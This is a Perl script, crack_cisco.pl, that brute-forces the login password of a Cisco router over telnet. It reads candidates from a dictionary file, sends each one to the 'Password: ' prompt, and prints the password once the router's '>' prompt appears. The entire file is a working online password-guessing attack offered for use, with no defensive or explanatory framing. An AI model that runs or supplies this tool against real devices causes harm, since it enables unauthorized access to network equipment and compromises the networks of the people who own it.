#!/usr/bin/perl -w

use Net::Telnet;
use Socket;

	$DEBUG = 1;
	$TokenPassword = "Password: ";
	$Password = "cisco";

	$Remote = shift || die "usage: ./crack_cisco.pl [ip router] [dictionary]";
	$Dictionary = shift || die "usage: ./crack_cisco.pl [ip router] [dictionary]";

	open( DICTIONARY, "< $Dictionary" ) || die "Cannot open dictionary file";

	while( 1 ) {

    $t = new Net::Telnet;
    $t->errmode( "return" );
    $connect = 1;
    while( $t->errmsg ne "" || $connect ) {
    	$connect = 0;
    	$t->open( $Remote );
    }
	
    while( $t->errmsg eq "" ) {
    	( $_, $match ) = $t->waitfor( "/$TokenPassword|>/" );
    	if( $t->errmsg eq "" ) { 
	
        if( $match =~ />/ ) { print "Password = $Password\n"; exit 0; }
	
        if( eof DICTIONARY ) { exit 1; }
        $Password = <DICTIONARY>; 
        if( $Password ne "" ) { 
        	chop( $Password );
        	if( $DEBUG ) { print "Probando: $Password\n"; }
        	$t->print( $Password );
        }
    	}
    }
	
    $t->close;
	}

	close DICTIONARY;

exit 1;